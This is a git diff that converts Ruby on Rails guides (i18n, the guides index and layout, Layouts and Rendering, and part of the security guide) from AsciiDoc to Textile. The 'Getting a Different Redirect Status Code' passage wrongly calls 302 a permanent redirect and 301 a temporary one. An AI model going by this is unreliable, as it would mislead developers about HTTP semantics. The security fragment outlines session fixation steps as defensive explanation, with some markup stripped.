+* "rails-i18n Google group":http://groups.google.com/group/rails-i18n - The project's mailing list.
+* "Github: rails-i18n":http://github.com/svenfuchs/rails-i18n/tree/master - Code repository for the rails-i18n project. Most importantly you can find lots of "example translations":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for Rails that should work for your application in most cases.
+* "Lighthouse: rails-i18n":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview - Issue tracker for the rails-i18n project.
+* "Github: i18n":http://github.com/svenfuchs/i18n/tree/master - Code repository for the i18n gem.
+* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem.
 
 
-== Authors
+h3. Authors
 
-* http://www.workingwithrails.com/person/9963-sven-fuchs[Sven Fuchs] (initial author)
-* http://www.workingwithrails.com/person/7476-karel-mina-k[Karel Minařík]
+* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author)
+* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k
 
-If you found this guide useful please consider recommending its authors on http://www.workingwithrails.com[workingwithrails].
+If you found this guide useful please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com.
 
 
-== Footnotes
+h3. Footnotes
 
-[[[1]]] Or, to quote http://en.wikipedia.org/wiki/Internationalization_and_localization[Wikipedia]: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
 
-[[[2]]] Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
+fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
 
-[[[3]]] One of these reasons is that we don't want to any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
+fn3. One of these reasons is that we don't want to any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
 
 
-== Changelog ==
+h3. Changelog
 
-http://rails.lighthouseapp.com/projects/16213/tickets/23[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/23
diff --git a/vendor/rails/railties/guides/source/index.erb.textile b/vendor/rails/railties/guides/source/index.erb.textile
new file mode 100644
index 00000000..4751c3a1
--- /dev/null
+++ b/vendor/rails/railties/guides/source/index.erb.textile
@@ -0,0 +1,116 @@
+<% content_for :header_section do %>
+h2. Ruby on Rails guides
+
+These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation:
+
+* "Current Release version":http://guides.rubyonrails.org - based on Rails 2.3
+* "Edge version":http://guides.rails.info - based on the current Rails "master branch":http://github.com/rails/rails/tree/master
+
+<% end %>
+
+<% content_for :index_section do %>
+

+  

+    
Rails Guides are a result of the ongoing "Guides hackfest":http://hackfest.rubyonrails.org and a work in progress.

+    
Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.

+  

+

+<% end %>
+
+h3. Start Here
+
+

+<% guide('Getting Started with Rails', 'getting_started.html') do %>
+  Everything you need to know to install Rails and create your first application.
+<% end %>
+

+
+h3. Models
+
+

+<% guide("Rails Database Migrations", 'migrations.html') do %>
+  This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
+<% end %>
+
+<% guide("Active Record Validations and Callbacks", 'activerecord_validations_callbacks.html', :ticket => 26) do %>
+  This guide covers how you can use Active Record validations and callbacks.
+<% end %>
+
+<% guide("Active Record Associations", 'association_basics.html') do %>
+  This guide covers all the associations provided by Active Record.
+<% end %>
+
+<% guide("Active Record Query Interface", 'active_record_querying.html', :ticket => 16) do %>
+  This guide covers the database query interface provided by Active Record.
+<% end %>
+

+
+h3. Views
+
+

+<% guide("Layouts and Rendering in Rails", 'layouts_and_rendering.html') do %>
+  This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.
+<% end %>
+
+<% guide("Action View Form Helpers", 'form_helpers.html', :ticket => 1) do %>
+  Guide to using built in Form helpers.
+<% end %>
+

+
+h3. Controllers
+
+

+<% guide("Action Controller Overview", 'action_controller_overview.html') do %>
+  This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
+<% end %>
+
+<% guide("Rails Routing from the Outside In", 'routing.html') do %>
+  This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.
+<% end %>
+

+
+h3. Digging Deeper
+
+

+
+<% guide("Rails Internationalization API", 'i18n.html', :ticket => 23) do %>
+  This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.
+<% end %>
+
+<% guide("Action Mailer Basics", 'action_mailer_basics.html', :ticket => 25) do %>
+  This guide describes how to use Action Mailer to send and receive emails.
+<% end %>
+
+<% guide("Testing Rails Applications", 'testing.html', :ticket => 8) do %>
+  This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from “What is a test?” to the testing APIs. Enjoy.
+<% end %>
+
+<% guide("Securing Rails Applications", 'security.html') do %>
+  This guide describes common security problems in web applications and how to avoid them with Rails.
+<% end %>
+
+<% guide("Debugging Rails Applications", 'debugging_rails_applications.html') do %>
+  This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.
+<% end %>
+
+<% guide("Performance Testing Rails Applications", 'performance_testing.html') do %>
+  This guide covers the various ways of performance testing a Ruby on Rails application.
+<% end %>
+
+<% guide("The Basics of Creating Rails Plugins", 'plugins.html', :ticket => 32) do %>
+  This guide covers how to build a plugin to extend the functionality of Rails.
+<% end %>
+
+<% guide("Configuring Rails Applications", 'configuring.html') do %>
+  This guide covers the basic configuration settings for a Rails application.
+<% end %>
+
+<% guide("Rails Command Line Tools and Rake tasks", 'command_line.html', :ticket => 29) do %>
+  This guide covers the command line tools and rake tasks provided by Rails.
+<% end %>
+
+<% guide("Rails on Rack", 'rails_on_rack.html', :ticket => 58) do %>
+  This guide covers Rails integration with Rack and interfacing with other Rack components.
+<% end %>
+
+

diff --git a/vendor/rails/railties/guides/source/layout.html.erb b/vendor/rails/railties/guides/source/layout.html.erb
new file mode 100644
index 00000000..cb02b90e
--- /dev/null
+++ b/vendor/rails/railties/guides/source/layout.html.erb
@@ -0,0 +1,100 @@
+
+
+
+
+<%= yield(:page_title) || 'Ruby on Rails guides' %>
+
+
+
+
+
+
+
+
+
+
+
+  

+    

+      More at rubyonrails.org: 
+      Overview |
+      Download |
+      Deploy |
+      Code |
+      Screencasts |
+      Documentation |
+      Ecosystem |
+      Community |
+      Blog
+    

+  

+  
+  

+
+  

+    

+      <%= yield :header_section %>
+
+      <%= yield :index_section %>
+    

+  

+
+  

+    

+      

+        <%= yield %>
+      

+    

+  

+
+  

+  
+
+
diff --git a/vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt b/vendor/rails/railties/guides/source/layouts_and_rendering.textile
similarity index 62%
rename from vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt
rename to vendor/rails/railties/guides/source/layouts_and_rendering.textile
index 23cb83c5..d9bc605b 100644
--- a/vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt
+++ b/vendor/rails/railties/guides/source/layouts_and_rendering.textile
@@ -1,5 +1,4 @@
-Layouts and Rendering in Rails
-==============================
+h2. Layouts and Rendering in Rails
 
 This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
 
@@ -8,13 +7,15 @@ This guide covers the basic layout features of Action Controller and Action View
 * Use partials to DRY up your views
 * Use nested layouts (sub-templates)
 
-== Overview: How the Pieces Fit Together
+endprologue.
+
+h3. Overview: How the Pieces Fit Together
 
 This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
 
 In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
 
-== Creating Responses
+h3. Creating Responses
 
 From the controller's point of view, there are three ways to create an HTTP response:
 
@@ -24,46 +25,43 @@ From the controller's point of view, there are three ways to create an HTTP resp
 
 I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.
 
-=== Rendering by Default: Convention Over Configuration in Action
+h4. Rendering by Default: Convention Over Configuration in Action
 
 You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your +BooksController+ class:
 
-[source, ruby]
--------------------------------------------------------
+
 def show
   @book = Book.find(params[:id])
 end
--------------------------------------------------------
+
 
-Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect \':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response.
+Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect ':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response.
 
 NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and +.rxml+ for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.
 
-=== Using +render+
+h4. Using render
 
 In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
 
 TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser.
 
-==== Rendering Nothing
+h5. Rendering Nothing
 
 Perhaps the simplest thing you can do with +render+ is to render nothing at all:
 
-[source, ruby]
--------------------------------------------------------
+
 render :nothing => true
--------------------------------------------------------
+
 
 This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).
 
 TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
 
-==== Rendering an Action's View
+h5. Rendering an Action's View
 
 If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view:
 
-[source, ruby]
--------------------------------------------------------
+
 def update
   @book = Book.find(params[:id])
     if @book.update_attributes(params[:book])
@@ -73,13 +71,13 @@ def update
     end
   end
 end
--------------------------------------------------------
+
+
 If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
 
 If you prefer, you can use a symbol instead of a string to specify the action to render:
 
-[source, ruby]
--------------------------------------------------------
+
 def update
   @book = Book.find(params[:id])
     if @book.update_attributes(params[:book])
@@ -89,12 +87,11 @@ def update
     end
   end
 end
--------------------------------------------------------
+
 
 To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary as of Rails 2.3):
 
-[source, ruby]
--------------------------------------------------------
+
 def update
   @book = Book.find(params[:id])
     if @book.update_attributes(params[:book])
@@ -104,41 +101,38 @@ def update
     end
   end
 end
--------------------------------------------------------
+
 
 WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
 
-==== Rendering an Action's Template from Another Controller
+h5. Rendering an Action's Template from Another Controller
 
 What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
 
-[source, ruby]
--------------------------------------------------------
+
 render 'products/show'
--------------------------------------------------------
+
 
 Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier):
 
-[source, ruby]
--------------------------------------------------------
+
 render :template => 'products/show'
--------------------------------------------------------
+
 
-==== Rendering an Arbitrary File
+h5. Rendering an Arbitrary File
 
 The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
 
-[source, ruby]
--------------------------------------------------------
+
 render "/u/apps/warehouse_app/current/app/views/products/show"
--------------------------------------------------------
+
 
 Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier):
 
-[source, ruby]
--------------------------------------------------------
-render :file => "/u/apps/warehouse_app/current/app/views/products/show"
--------------------------------------------------------
+
+render :file => 
+  "/u/apps/warehouse_app/current/app/views/products/show"
+
 
 The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
 
@@ -146,84 +140,79 @@ NOTE: By default, the file is rendered without using the current layout. If you
 
 TIP: If you're running on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames.
 
-==== Using +render+ with +:inline+
+h5. Using render with :inline
 
 The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid:
 
-[source, ruby]
--------------------------------------------------------
-render :inline => "<% products.each do |p| %>
<%= p.name %>
<% end %>"
--------------------------------------------------------
+
+render :inline => 
+  "<% products.each do |p| %>
<%= p.name %>
<% end %>"
+
 
 WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
 
 By default, inline rendering uses ERb. You can force it to use Builder instead with the +:type+ option:
 
-[source, ruby]
--------------------------------------------------------
-render :inline => "xml.p {'Horrid coding practice!'}", :type => :builder
--------------------------------------------------------
+
+render :inline => 
+  "xml.p {'Horrid coding practice!'}", :type => :builder
+
 
-==== Using +render+ with +:update+
+h5. Using render with :update
 
 You can also render javascript-based page updates inline using the +:update+ option to +render+:
 
-[source, ruby]
--------------------------------------------------------
+
 render :update do |page|
   page.replace_html 'warning', "Invalid options supplied"
 end
--------------------------------------------------------
+
 
-WARNING: Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update.
+WARNING: Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. We recommend using a separate rjs template instead, no matter how small the update.
 
-==== Rendering Text
+h5. Rendering Text
 
 You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+:
 
-[source, ruby]
--------------------------------------------------------
+
 render :text => "OK"
--------------------------------------------------------
+
 
 TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
 
 NOTE: By default, if you use the +:text+ option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option
 
-==== Rendering JSON
+h5. Rendering JSON
 
 JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
 
-[source, ruby]
--------------------------------------------------------
+
 render :json => @product
--------------------------------------------------------
+
 
 TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you.
 
-==== Rendering XML
+h5. Rendering XML
 
 Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
 
-[source, ruby]
--------------------------------------------------------
+
 render :xml => @product
--------------------------------------------------------
+
 
 TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you.
 
-==== Rendering Vanilla JavaScript
+h5. Rendering Vanilla JavaScript
 
 Rails can render vanilla JavaScript (as an alternative to using +update+ with n +.rjs+ file):
 
-[source, ruby]
--------------------------------------------------------
+
 render :js => "alert('Hello Rails');"
--------------------------------------------------------
+
 
 This will send the supplied string to the browser with a MIME type of +text/javascript+.
 
-==== Options for +render+
+h5. Options for render
 
 Calls to the +render+ method generally accept four options:
 
@@ -232,93 +221,85 @@ Calls to the +render+ method generally accept four options:
 * +:status+
 * +:location+
 
-===== The +:content_type+ Option
+h6. The :content_type Option
 
 By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option:
 
-[source, ruby]
--------------------------------------------------------
+
 render :file => filename, :content_type => 'application/rss'
--------------------------------------------------------
+
 
-===== The +:layout+ Option
+h6. The :layout Option
 
-With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. 
+With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
 
 You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action:
 
-[source, ruby]
--------------------------------------------------------
+
 render :layout => 'special_layout'
--------------------------------------------------------
+
 
 You can also tell Rails to render with no layout at all:
 
-[source, ruby]
--------------------------------------------------------
+
 render :layout => false
--------------------------------------------------------
+
 
-===== The +:status+ Option
+h6. The :status Option
 
 Rails will automatically generate a response with the correct HTML status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this:
 
-[source, ruby]
--------------------------------------------------------
+
 render :status => 500
 render :status => :forbidden
--------------------------------------------------------
+
 
-Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how it maps symbols to status codes in that file.
+Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how Rails maps symbols to status codes.
 
-===== The +:location+ Option
+h6. The :location Option
 
 You can use the +:location+ option to set the HTTP +Location+ header:
 
-[source, ruby]
--------------------------------------------------------
+
 render :xml => photo, :location => photo_url(photo)
--------------------------------------------------------
+
 
-==== Finding Layouts
+h5. Finding Layouts
 
-To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +/app/views/layouts/photos.html.erb+. If there is no such controller-specific layout, Rails will use +/app/views/layouts/application.html.erb+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
+To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +/app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +/app/views/layouts/application.html.erb+ ot +/app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
 
-===== Specifying Layouts on a per-Controller Basis
+h6. Specifying Layouts on a per-Controller Basis
 
 You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example:
 
-[source, ruby]
--------------------------------------------------------
+
 class ProductsController < ApplicationController
   layout "inventory"
   #...
 end
--------------------------------------------------------
+
 
 With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout.
 
 To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class:
 
-[source, ruby]
--------------------------------------------------------
+
 class ApplicationController < ActionController::Base
   layout "main"
   #...
 end
--------------------------------------------------------
+
 
 With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
 
-===== Choosing Layouts at Runtime
+h6. Choosing Layouts at Runtime
 
 You can use a symbol to defer the choice of layout until a request is processed:
 
-[source, ruby]
--------------------------------------------------------
+
 class ProductsController < ApplicationController
   layout :products_layout
-  
+
   def show
     @product = Product.find(params[:id])
   end
@@ -329,69 +310,64 @@ class ProductsController < ApplicationController
     end
 
 end
--------------------------------------------------------
+
 
 Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:
 
-[source, ruby]
--------------------------------------------------------
+
 class ProductsController < ApplicationController
   layout proc{ |controller| controller.
-  # ...	
+  # ...
 end
--------------------------------------------------------
+
 
-===== Conditional Layouts
+h6. Conditional Layouts
 
 Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names:
 
--------------------------------------------------------
+
 class ProductsController < ApplicationController
   layout "inventory", :only => :index
   layout "product", :except => [:index, :rss]
   #...
 end
--------------------------------------------------------
+
 
 With those declarations, the +inventory+ layout would be used only for the +index+ method, the +product+ layout would be used for everything else except the +rss+ method, and the +rss+ method will have its layout determined by the automatic layout rules.
 
-===== Layout Inheritance
+h6. Layout Inheritance
 
 Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:
 
-+application_controller.rb+:
+* +application_controller.rb+
 
-[source, ruby]
--------------------------------------------------------
+
 class ApplicationController < ActionController::Base
   layout "main"
   #...
 end
--------------------------------------------------------
+
 
-+posts_controller.rb+:
+* +posts_controller.rb+
 
-[source, ruby]
--------------------------------------------------------
+
 class PostsController < ApplicationController
   # ...
 end
--------------------------------------------------------
+
 
-+special_posts_controller.rb+:
+* +special_posts_controller.rb+
 
-[source, ruby]
--------------------------------------------------------
+
 class SpecialPostsController < PostsController
   layout "special"
   # ...
 end
--------------------------------------------------------
+
 
-+old_posts_controller.rb+:
+* +old_posts_controller.rb+
 
-[source, ruby]
--------------------------------------------------------
+
 class OldPostsController < SpecialPostsController
   layout nil
 
@@ -405,7 +381,7 @@ class OldPostsController < SpecialPostsController
   end
   # ...
 end
--------------------------------------------------------
+
 
 In this application:
 
@@ -415,67 +391,63 @@ In this application:
 * +OldPostsController#show+ will use no layout at all
 * +OldPostsController#index+ will use the +old+ layout
 
-==== Avoiding Double Render Errors
+h5. Avoiding Double Render Errors
 
 Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works.
 
 For example, here's some code that will trigger this error:
 
-[source, ruby]
--------------------------------------------------------
+
 def show
   @book = Book.find(params[:id])
   if @book.special?
     render :action => "special_show"
   end
 end
--------------------------------------------------------
+
 
 If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +show+ view - and throw an error. The solution is simple: make sure that you only have one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method:
 
-[source, ruby]
--------------------------------------------------------
+
 def show
   @book = Book.find(params[:id])
   if @book.special?
     render :action => "special_show" and return
   end
 end
--------------------------------------------------------
+
 
-=== Using +redirect_to+
+h4. Using redirect_to
 
-Another way to handle returning responses to a HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
 
-[source, ruby]
--------------------------------------------------------
+
 redirect_to photos_path
--------------------------------------------------------
+
 
 You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from:
 
--------------------------------------------------------
+
 redirect_to :back
--------------------------------------------------------
+
 
-==== Getting a Different Redirect Status Code
+h5. Getting a Different Redirect Status Code
 
 Rails uses HTTP status code 302 (permanent redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the +:status+ option:
 
--------------------------------------------------------
+
 redirect_to photos_path, :status => 301
--------------------------------------------------------
+
 
 Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations.
 
-==== The Difference Between +render+ and +redirect+
+h5. The Difference Between render and redirect
 
-Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code.
+Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
 
 Consider these actions to see the difference:
 
-[source, ruby]
--------------------------------------------------------
+
 def index
   @books = Book.find(:all)
 end
@@ -486,12 +458,11 @@ def show
     render :action => "index" and return
   end
 end
--------------------------------------------------------
+
 
 With the code in this form, there will be likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering:
 
-[source, ruby]
--------------------------------------------------------
+
 def index
   @books = Book.find(:all)
 end
@@ -502,27 +473,25 @@ def show
     redirect_to :action => "index" and return
   end
 end
--------------------------------------------------------
+
 
 With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well.
 
-=== Using +head+ To Build Header-Only Responses
+h4. Using head To Build Header-Only Responses
 
 The +head+ method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:
 
-[source, ruby]
--------------------------------------------------------
+
 head :bad_request
--------------------------------------------------------
+
 
 Or you can use other HTTP headers to convey additional information:
 
-[source, ruby]
--------------------------------------------------------
+
 head :created, :location => photo_path(@photo)
--------------------------------------------------------
+
 
-== Structuring Layouts
+h3. Structuring Layouts
 
 When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:
 
@@ -532,7 +501,7 @@ When Rails renders a view as a response, it does so by combining the view with t
 
 I'll discuss each of these in turn.
 
-=== Asset Tags
+h4. Asset Tags
 
 Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:
 
@@ -541,18 +510,18 @@ Asset tags provide methods for generating HTML that links views to assets like i
 * stylesheet_link_tag
 * image_tag
 
-You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the ++ section of a layout.
+You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +<head>+ section of a layout.
 
 WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
 
-==== Linking to Feeds with +auto_discovery_link_tag+
+h5. Linking to Feeds with auto_discovery_link_tag
 
-The +auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
+The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
 
-[source, ruby]
--------------------------------------------------------
-<%= auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "RSS Feed"}) %>
--------------------------------------------------------
+
+<%= auto_discovery_link_tag(:rss, {:action => "feed"}, 
+  {:title => "RSS Feed"}) %>
+
 
 There are three tag options available for +auto_discovery_link_tag+:
 
@@ -560,162 +529,143 @@ There are three tag options available for +auto_discovery_link_tag+:
 * +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically
 * +:title+ specifies the title of the link
 
-==== Linking to Javascript Files with +javascript_include_tag+
+h5. Linking to Javascript Files with javascript_include_tag
 
-The +javascript_include_tag+ helper returns an HTML ++
-Read more about XSS and injection later on.
-
-. The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
-
-. As the new trap session is unused, the web application will require the user to authenticate.
-
-. From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-
-=== Session fixation – Countermeasures
+h4. Session fixation – Countermeasures
 
 -- _One line of code will protect you from session fixation._
 
-The most effective countermeasure is to [,#fffcdb]#issue a new session identifier# and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
+The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 reset_session
-----------------------------------------------------------------------------
+
 
-If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, [,#fffcdb]#you have to transfer them to the new session#.
